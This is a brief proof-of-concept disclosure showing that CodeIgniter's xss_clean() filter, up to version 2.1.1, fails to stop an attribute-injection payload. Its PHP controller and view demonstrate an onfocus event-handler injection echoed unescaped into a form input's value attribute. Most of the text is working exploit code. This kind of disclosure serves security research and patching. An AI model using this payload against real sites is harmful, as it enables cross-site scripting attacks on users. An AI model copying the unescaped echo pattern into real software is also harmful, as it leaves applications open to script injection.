CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass

xssdemo-controller.php

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
 
class Xssdemo extends CI_Controller {
 
        public function index() {
            $data['xss'] = $this->security->xss_clean('"onfocus="alert(/xss/)"');
            $this->load->view('xssdemo', $data);
        }
}

xssdemo-view.php

// application/views/xssdemo.php

<form method="post">
// Click on the input control to trigger the alert box!
<input name="xss" value="<?php echo $xss;?>">
<input type="submit" name="submit!">
</form>